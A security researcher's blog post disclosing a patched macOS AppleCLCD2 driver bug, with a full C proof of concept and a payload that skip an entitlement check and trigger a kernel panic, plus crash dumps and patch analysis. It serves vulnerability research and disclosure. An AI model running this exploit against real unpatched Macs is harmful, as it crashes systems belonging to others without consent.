Case Study: IOMobileFramebuffer NULL Pointer Dereference

In my previous post, History of NULL Pointer Dereferences on macOS, I discussed how Apple implements numerous mitigations to make these bugs difficult to exploit. I mentioned that I discovered one such vulnerability while fuzzing. This article briefly extends that post, detailing the flaw and explaining how Apple addressed it.
Enjoy!
High-Level Overview
I identified a NULL pointer dereference vulnerability in the AppleCLCD2 service on macOS, within the IOMobileFramebufferUserClient::s_swap_submit
external method (selector 5).

The issue involves:
- Entitlement Check Bypass: A zero byte at offset
0x3F0
in the input buffer, allows unprivileged applications to bypass thecom.apple.private.gain-map-access
entitlement check. - Memory Corruption Trigger: Four NULL bytes at offset
0x430
confuse the driver’s memory validation, causing it to dereference a NULL pointer and trigger a kernel panic.
While Apple patched this issue in macOS 15.4, they did it silently without assigning a CVE or acknowledging the report, treating it as a non-security Denial of Service condition.
Proof of Concept Payload
The bug can be reliably triggered with a carefully crafted 1300-byte buffer sent to the driver’s selector 5:
payload = bytearray([0x41]*0x3F0) # Fill with 'A' characters
payload += bytearray([0x00]) # Bypass at offset 0x3F0
payload += bytearray([0x42]*7 + [0x43]*8 + [0x44]*48) # Padding
payload += bytearray([0x00, 0x00, 0x00, 0x00]) # Crash trigger at offset 0x430
payload += bytearray([0x46]*(1300-len(payload))) # Fill remaining space
This payload is much simpler than it looks. You can actually just send 0x3F0 bytes of any value, followed by a NULL byte, then four more NULL bytes at offset 0x430.
Proof of Concept Code
If you want to check it by yourself, here is the full code that triggers the panic:
/* AppleCLCD2_PoC.c by Karol Mazurek (@karmaz95)
Minimal demonstration that calls AppleCLCD2 selector=5 with a crafted 1300-byte input to:
- bypass the entitlement check
- and trigger a kernel crash due to zalloc_uaf_panic.
Compile example (macOS):
clang -o clcd2_poc AppleCLCD2_PoC.c -framework IOKit
Run:
./clcd2_poc
Expectation: system may panic due to zalloc_uaf_panic.
*/
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Service name and selector
#define SERVICE_NAME "AppleCLCD2"
#define SERVICE_TYPE 0
#define SELECTOR 5
// The payload size must be 1300 (UserClient except inputStruct == 1300).
#define PAYLOAD_SIZE 1300
// Offsets of interest in the 1300-byte buffer.
#define OFFSET_BYPASS 0x3F0 // Byte that must be zero to skip entitlement check
#define OFFSET_CRASH 0x430 // Four bytes at 0x430 must be zero to trigger the crash (zalloc_uaf_panic)
static io_connect_t open_service(const char *name, uint32_t type);
int main(void)
{
// 1) Open AppleCLCD2
io_connect_t conn = open_service(SERVICE_NAME, SERVICE_TYPE);
if (!conn) {
return 1;
}
// 2) Create the 1300-byte payload
unsigned char *payload = (unsigned char*)calloc(PAYLOAD_SIZE, 1);
if (!payload) {
fprintf(stderr, "[-] Failed to allocate payload buffer\n");
IOServiceClose(conn);
return 2;
}
// Fill everything with 0x41
memset(payload, 0x41, PAYLOAD_SIZE);
// Put zero at 0x3F0 (bypass entitlement check).
payload[OFFSET_BYPASS] = 0x00;
// Put four zeros at 0x430 to provoke the crash.
memset(payload + OFFSET_CRASH, 0x00, 4);
printf("[*] Prepared a 1300-byte payload. Bypass offset=0x%X, crash offset=0x%X\n",
OFFSET_BYPASS, OFFSET_CRASH);
// 3) Call selector 5 with this payload
kern_return_t kr;
size_t inputStructCnt = PAYLOAD_SIZE;
kr = IOConnectCallMethod(conn,
SELECTOR,
NULL, 0,
payload, inputStructCnt,
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOConnectCallMethod(%s, %u) returned 0x%x (%s)\n",
SERVICE_NAME, SELECTOR, kr, mach_error_string(kr));
} else {
printf("[*] Call succeeded. If the driver is vulnerable, a panic may occur soon.\n");
}
// Cleanup
free(payload);
IOServiceClose(conn);
return 0;
}
// ----------------------------------------------------------------------
// Open a named IOService, returns io_connect_t or 0 on error.
static io_connect_t open_service(const char *name, uint32_t type)
{
io_service_t svc = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching(name));
if (!svc) {
fprintf(stderr, "[-] No service named '%s'\n", name);
return 0;
}
io_connect_t conn = 0;
kern_return_t kr = IOServiceOpen(svc, mach_task_self(), type, &conn);
IOObjectRelease(svc);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOServiceOpen(%s) = 0x%x (%s)\n",
name, kr, mach_error_string(kr));
return 0;
}
return conn;
}
Code language: PHP (php)
It should work until macOS 15.4 version (tested on 15.3.2).
How the Issue Was Discovered
I am building a fuzzer for macOS drivers and reversing each driver’s external methods. For now, it is a dumb fuzzer that expects a proper driver name, connection type, selector, and its values. My RE workflow looks like this:
- Find the
newUserClient
method e.g.,IOMobileFramebufferAP::newUserClient
- Reverse it and find what connection types it handles (most drivers handle any value).
- Find
externalMethod
for a given connection type e.g.,IOMobileFramebufferUserClient::externalMethod
- Reverse it to find all selectors it handles and their values
After that, I store this information in the YAML format for my fuzzer, for example:
IOMobileFramebufferAP: # (AppleCLCD2) IOMobileFramebufferAP::newUserClient (proxied to IOMobileFramebufferLegacy)
0: # IOMobileFramebufferUserClient::externalMethod
0: [3, 0, 0, 0]
1: [0, 0, 0, 0]
2: [0, 0, 0, 0]
3: [2, 0, 1, 0]
4: [0, 0, 1, 0]
5: [0, 1300, 0, 0] # Vulnerable to Null Pointer Dereference
Code language: CSS (css)
I run my fuzzer and work on something else while waiting for it to crash. I also built a simple notification app that informs me via Telegram if a crash is detected. However, that’s a different topic. I may write about these helpful tools in the future.
Crash!
When I encountered a crash in the AppleCLCD2 driver, the register values caught my attention:
panic(cpu 2 caller 0xfffffe0008fe9964): Kernel data abort. at pc 0xfffffe001fe728c4
x0: 0x0000000000000000 x1: 0x0000000000000003
esr: 0x7373657296000006 far: 0x0000000000000000
The zeros in both x0 and far registers are classic indicators of a NULL pointer dereference. The crash occurred in
zalloc_validate_element
, suggesting memory corruption.
Code Flow Analysis
I loaded the kernel cache into IDA and found the selector handler. The code flow looks like this:
┌────────────┐
│ User Space │
│ (./poc) │
└────┬───────┘
│
│ IOConnectCallMethod(..., selector=5, inputSize=1300, ...)
▼
┌────────────────────────────┐
│ s_swap_submit (wrapper) │
│ - Checks entitlements │
│ - Reads internal pointers │
│ - Calls swap_submit(...) │
└────────────┬───────────────┘
▼
┌────────────────────────────┐
│ swap_submit │
│ - Verifies input== 1300 │
│ - Retrieves v5() pointer │
│ - Calls v5() function │
└────────────┬───────────────┘
▼
┌────────────────────────────────────────────────┐
│ v5() → IOMobileFramebufferLegacy::swap_submit │
│ - Reads swapID, enabled, completed from input │
│ - Calls a driver function │ <-- CRASH OCCURS HERE - it
│ - Logs "IOMFB_SWAP_SUBMIT_LOST" │
└────────────────────────────────────────────────┘
Code language: JavaScript (javascript)
The vulnerable code in the entitlement check path is shown below. By zeroing a byte at offset 0x3F0, we create a situation where *(v6 + 1008) evaluates to 0, skipping the entitlement check entirely.
if (v6 && *(v6 + 1008) &&
!IOMobileFramebufferUserClient::isEntitlementSet(
"com.apple.private.gain-map-access", this[29], a3)) {
return 0xE00002C1LL;
}
Code language: JavaScript (javascript)
The Null Dereference issue is elsewhere, I could not reach it in IDA and I stopped digging after Apple closed the report.
Core Dump
To find it, I disabled SIP and set nvram boot-args
to debug=0xCC44 wdt=-1
to dump the core on panic. The next step was to execute the compiled poc code, and after a panic restart, load the core dump to lldb.
lldb -c YYYY-MM-DD-TIME.kernel.core
Code language: CSS (css)
Here are the registers and instructions on the crash from the Core dump:
(lldb) reg read
General Purpose Registers:
x0 = 0x0000000000000000
x1 = 0x0000000000000000
x2 = 0x0000000000000000
x3 = 0x0000000000000000
x4 = 0xfffffe24ccb0a980
x5 = 0xb6fb7e002422e308 (0xfffffe002422e308) kernel.release.t6000`OSArray::initWithObjects(OSObject const**, unsigned int, unsigned int) at OSArray.cpp:84
x6 = 0x0000000000000000
x7 = 0xfffffe00274ba960
x8 = 0x0000000000000040
x9 = 0x0000000000000000
x10 = 0xfffffe10007b9f10
x11 = 0x0000000000000001
x12 = 0x000000000000000e
x13 = 0x0000000000003570
x14 = 0x0000000000000010
x15 = 0xfffffe00274cfb80 kernel.release.t6000`audio_active + 40064
x16 = 0xfffffe00230c1650 kernel.release.t6000`vtable for OSCollectionIterator::MetaClass + 184
x17 = 0x1601fe00230c1650
x18 = 0x0000000000000000
x19 = 0xfffffe00274d4b00 kernel.release.t6000`audio_active + 60416
x20 = 0x00000000000d1004
x21 = 0x0000000000000030
x22 = 0xfffffe24cccdf8e0
x23 = 0xfffffe1666c57ab0
x24 = 0x0000000000000000
x25 = 0x0000000000000030
x26 = 0xfffffe002752d000 kernel.release.t6000`_NSConcreteFinalizingBlock + 232
x27 = 0xfffffe0027536998 kernel.release.t6000`IOPowerConnection::gMetaClass
x28 = 0x0000000000000001
fp = 0xfffffe5000a5bc00
lr = 0xfce7fe0023c24754 (0xfffffe0023c24754) kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
sp = 0xfffffe5000a5bbd0
pc = 0xfffffe0023c24754 kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
cpsr = 0x40401208
(lldb) di
kernel.release.t6000`zalloc_ext:
0xfffffe0023c246a4 <+0>: pacibsp
0xfffffe0023c246a8 <+4>: stp x24, x23, [sp, #-0x40]!
0xfffffe0023c246ac <+8>: stp x22, x21, [sp, #0x10]
0xfffffe0023c246b0 <+12>: stp x20, x19, [sp, #0x20]
0xfffffe0023c246b4 <+16>: stp x29, x30, [sp, #0x30]
0xfffffe0023c246b8 <+20>: add x29, sp, #0x30
0xfffffe0023c246bc <+24>: mov x20, x2
0xfffffe0023c246c0 <+28>: mov x22, x1
0xfffffe0023c246c4 <+32>: mov x19, x0
0xfffffe0023c246c8 <+36>: mrs x8, TPIDR_EL1
0xfffffe0023c246cc <+40>: ldr w9, [x8, #0x1b0]
0xfffffe0023c246d0 <+44>: add w9, w9, #0x1
0xfffffe0023c246d4 <+48>: str w9, [x8, #0x1b0]
0xfffffe0023c246d8 <+52>: ldr x10, [x0, #0x40]
0xfffffe0023c246dc <+56>: cbz x10, 0xfffffe0023c24810 ; <+364> at zalloc.c:6988:9
0xfffffe0023c246e0 <+60>: ldrh w9, [x8, #0x1a0]
0xfffffe0023c246e4 <+64>: lsl x9, x9, #14
0xfffffe0023c246e8 <+68>: add x3, x9, x10
0xfffffe0023c246ec <+72>: ldrh w10, [x3, #0x4]
0xfffffe0023c246f0 <+76>: cbz w10, 0xfffffe0023c247bc ; <+280> [inlined] zalloc_cached_get_pcpu_cache at zalloc.c:6897:6
0xfffffe0023c246f4 <+80>: ldrh w21, [x19, #0x34]
0xfffffe0023c246f8 <+84>: ldr x10, [x9, x22]
0xfffffe0023c246fc <+88>: add x10, x10, x21
0xfffffe0023c24700 <+92>: str x10, [x9, x22]
0xfffffe0023c24704 <+96>: ldrh w9, [x3, #0x4]
0xfffffe0023c24708 <+100>: sub w9, w9, #0x1
0xfffffe0023c2470c <+104>: strh w9, [x3, #0x4]
0xfffffe0023c24710 <+108>: and x9, x9, #0xffff
0xfffffe0023c24714 <+112>: ldr x10, [x3, #0x8]
0xfffffe0023c24718 <+116>: lsl x9, x9, #3
0xfffffe0023c2471c <+120>: ldr x22, [x10, x9]
0xfffffe0023c24720 <+124>: str xzr, [x10, x9]
0xfffffe0023c24724 <+128>: ldr w9, [x8, #0x1b0]
0xfffffe0023c24728 <+132>: cbz w9, 0xfffffe0023c247e4 ; <+320> [inlined] _enable_preemption at preemption_disable.c:196:3
0xfffffe0023c2472c <+136>: subs w9, w9, #0x1
0xfffffe0023c24730 <+140>: str w9, [x8, #0x1b0]
0xfffffe0023c24734 <+144>: b.ne 0xfffffe0023c24744 ; <+160> [inlined] zalloc_validate_element at zalloc.c:3159:6
0xfffffe0023c24738 <+148>: ldr x8, [x8, #0x1a8]
0xfffffe0023c2473c <+152>: ldrb w8, [x8, #0x4c]
0xfffffe0023c24740 <+156>: tbnz w8, #0x2, 0xfffffe0023c247e8 ; <+324> [inlined] _enable_preemption_write_count at preemption_disable.c:103:11
0xfffffe0023c24744 <+160>: tbnz w20, #0xe, 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24748 <+164>: mov x0, x22
0xfffffe0023c2474c <+168>: mov x1, x21
0xfffffe0023c24750 <+172>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
-> 0xfffffe0023c24754 <+176>: cbnz x0, 0xfffffe0023c24840 ; <+412> [inlined] zalloc_validate_element at zalloc.c:3163:3
0xfffffe0023c24758 <+180>: tbnz w20, #0xd, 0xfffffe0023c24784 ; <+224> [inlined] zpercpu_count at zalloc.c:2888:9
0xfffffe0023c2475c <+184>: mov x0, x19
0xfffffe0023c24760 <+188>: mov x1, x22
0xfffffe0023c24764 <+192>: nop
0xfffffe0023c24768 <+196>: mov x0, x22
0xfffffe0023c2476c <+200>: mov x1, x21
0xfffffe0023c24770 <+204>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24774 <+208>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24778 <+212>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c2477c <+216>: ldp x24, x23, [sp], #0x40
0xfffffe0023c24780 <+220>: retab
0xfffffe0023c24784 <+224>: adrp x8, -3108
0xfffffe0023c24788 <+228>: ldr w23, [x8, #0x5d0]
0xfffffe0023c2478c <+232>: mov x20, x22
0xfffffe0023c24790 <+236>: subs x23, x23, #0x1
0xfffffe0023c24794 <+240>: b.eq 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24798 <+244>: add x20, x20, #0x4, lsl #12 ; =0x4000
0xfffffe0023c2479c <+248>: mov x0, x20
0xfffffe0023c247a0 <+252>: mov x1, x21
0xfffffe0023c247a4 <+256>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
0xfffffe0023c247a8 <+260>: cbz x0, 0xfffffe0023c24790 ; <+236> [inlined] zalloc_validate_element + 12 at zalloc.c:3166:36
0xfffffe0023c247ac <+264>: mov x0, x19
0xfffffe0023c247b0 <+268>: mov x1, x20
0xfffffe0023c247b4 <+272>: mov x2, x21
0xfffffe0023c247b8 <+276>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c247bc <+280>: ldrh w10, [x3, #0x6]
0xfffffe0023c247c0 <+284>: cbz w10, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247c4 <+288>: ldr x11, [x3, #0x30]
0xfffffe0023c247c8 <+292>: cbnz x11, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247cc <+296>: strh w10, [x3, #0x4]
0xfffffe0023c247d0 <+300>: strh wzr, [x3, #0x6]
0xfffffe0023c247d4 <+304>: ldur q0, [x3, #0x8]
0xfffffe0023c247d8 <+308>: ext.16b v0, v0, v0, #0x8
0xfffffe0023c247dc <+312>: stur q0, [x3, #0x8]
0xfffffe0023c247e0 <+316>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
0xfffffe0023c247e4 <+320>: bl 0xfffffe002441db88 ; _enable_preemption_underflow at preemption_disable.c:173
0xfffffe0023c247e8 <+324>: bl 0xfffffe0023d060c8 ; kernel_preempt_check at preemption_disable.c:68
0xfffffe0023c247ec <+328>: tbz w20, #0xe, 0xfffffe0023c24748 ; <+164> [inlined] zalloc_validate_element + 4 at zalloc.c:3162:6
0xfffffe0023c247f0 <+332>: b 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c247f4 <+336>: mov x21, x9
0xfffffe0023c247f8 <+340>: mov x0, x19
0xfffffe0023c247fc <+344>: mov x1, #0x0 ; =0
0xfffffe0023c24800 <+348>: mov x2, x20
0xfffffe0023c24804 <+352>: mov x23, x8
0xfffffe0023c24808 <+356>: bl 0xfffffe0023c24860 ; zalloc_cached_prime at zalloc.c:6839
0xfffffe0023c2480c <+360>: cbnz x0, 0xfffffe0023c24850 ; <+428> at zalloc.c
0xfffffe0023c24810 <+364>: mov x0, x19
0xfffffe0023c24814 <+368>: mov x1, x22
0xfffffe0023c24818 <+372>: mov x2, x20
0xfffffe0023c2481c <+376>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24820 <+380>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24824 <+384>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c24828 <+388>: ldp x24, x23, [sp], #0x40
0xfffffe0023c2482c <+392>: autibsp
0xfffffe0023c24830 <+396>: eor x16, x30, x30, lsl #1
0xfffffe0023c24834 <+400>: tbz x16, #0x3e, 0xfffffe0023c2483c ; <+408> at zalloc.c:6988:9
0xfffffe0023c24838 <+404>: brk #0xc471
0xfffffe0023c2483c <+408>: b 0xfffffe0023c24df4 ; zalloc_item at zalloc.c:6683
0xfffffe0023c24840 <+412>: mov x0, x19
0xfffffe0023c24844 <+416>: mov x1, x22
0xfffffe0023c24848 <+420>: mov x2, x21
0xfffffe0023c2484c <+424>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c24850 <+428>: mov x8, x23
0xfffffe0023c24854 <+432>: mov x3, x0
0xfffffe0023c24858 <+436>: mov x9, x21
0xfffffe0023c2485c <+440>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
Code language: HTML, XML (xml)
This indicates that our payload misleads the driver into passing a NULL pointer to memory validation functions, which in turn confuses the zalloc_validate_element
and causes it to trigger zalloc_uaf_panic
.
void zalloc_validate_element(zone_t zone, void *element) {
if (memcmp_zero_ptr_aligned(element, zone->elem_size)) {
zalloc_uaf_panic(zone, element); // Triggers controlled panic
}
}
Code language: JavaScript (javascript)
At this stage, I decided to report it to Apple as a Denial of Service issue.
FIX
We can check the fix by decompressing the Kernel Cache of macOS 15.4 and loading it into IDA:
ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache) -o kernelcache
ida kernelcache.decompressed
Code language: JavaScript (javascript)
Then we jump to IOMobileFramebufferUserClient::externalMethod
and find the selectors dispatch array:

After that, we can parse the previously introduced IDA extension and get the selector five function handler. We can double-click on it to cross-reference to its code:

When we diff this new version and the code before the fix, we can see that it now correctly checks the entitlement. The check is stricter (== 1
instead of != 0
).

The latter swap_submit
logic is not changed, but probably the missing puzzle that I did not dig into, of v5()
function was changed.

The Null Dereference patch was probably introduced in the function called in
v5()
.
Final Words
I was a little disappointed I did not receive any recognition for that, but it is how it is 😀 Apple patched the issue in macOS version 15.4, but they allowed me to write about it:

If anyone reading this article finds a better way to leverage this than just triggering a Null Dereference, please let me know! This case study is an educational resource for researchers and developers interested in kernel debugging, reverse engineering, and security analysis.
If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.
I hope you learned something new here!